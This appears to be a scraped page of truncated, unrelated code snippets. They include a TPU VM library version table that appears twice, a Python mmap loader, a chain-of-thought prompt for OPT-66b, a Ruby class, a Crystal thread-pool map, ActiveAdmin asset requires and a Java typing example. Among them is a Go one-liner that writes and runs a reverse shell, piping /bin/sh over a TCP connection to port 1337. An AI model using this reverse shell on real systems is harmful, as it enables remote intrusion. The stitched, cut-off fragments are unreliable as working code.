This TPU VM cheatsheet uses and was tested with the following library versions:
Library | Version |
---|---|
JAX | 0.3.25 |
FLAX | 0.6.4 |
Datasets | 2.10.1 |
Transformers | 4.27.1 |
import mmap | |
import torch | |
import json | |
import os | |
from huggingface_hub import hf_hub_download | |
def load_file(filename, device): | |
with open(filename, mode="r", encoding="utf8") as file_obj: | |
with mmap.mmap(file_obj.fileno(), length=0, access=mmap.ACCESS_READ) as m: |
import torch | |
from transformers import AutoModelForCausalLM, AutoTokenizer | |
MAX_NEW_TOKENS = 128 | |
model_name = 'facebook/opt-66b' | |
text = """ | |
Q: On average Joe throws 25 punches per minute. A fight lasts 5 rounds of 3 minutes. | |
How many punches did he throw?\n | |
A: Let’s think step by step.\n""" |
This TPU VM cheatsheet uses and was tested with the following library versions:
Library | Version |
---|---|
JAX | 0.3.25 |
FLAX | 0.6.4 |
Datasets | 2.10.1 |
Transformers | 4.27.1 |
class Dog | |
attr_writer :name | |
def initialize(name) | |
@name = name | |
end | |
def bark | |
puts "patrick" | |
end |
module Indexable(T) | |
def threadpool_map(workers : Int = 8, chunk_size : Int? = nil, &func : T -> R) forall T, R | |
mutex = Thread::Mutex.new | |
cs = chunk_size || (self.size**0.5).ceil.to_i | |
Array(R).build(self.size) do |result| | |
index = 0 | |
threads = Array.new(workers) { | |
Thread.new do | |
a = b = 0 | |
loop do |
# app / assets / javascripts / active_admin.js | |
//= require active_admin/base | |
//= require jquery.ui.widget | |
//= require jquery.iframe-transport | |
//= require jquery.fileupload | |
//= require cloudinary/jquery.cloudinary | |
//= require attachinary | |
//= require attachments |
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go |
Java uses static, declared typing:
String hello = "Hello, World!";
List<String> phrases = new ArrayList<String>;
phrases.add(hello);
phrases.add(null);
phrases.add(123); // Compile error! Not a string.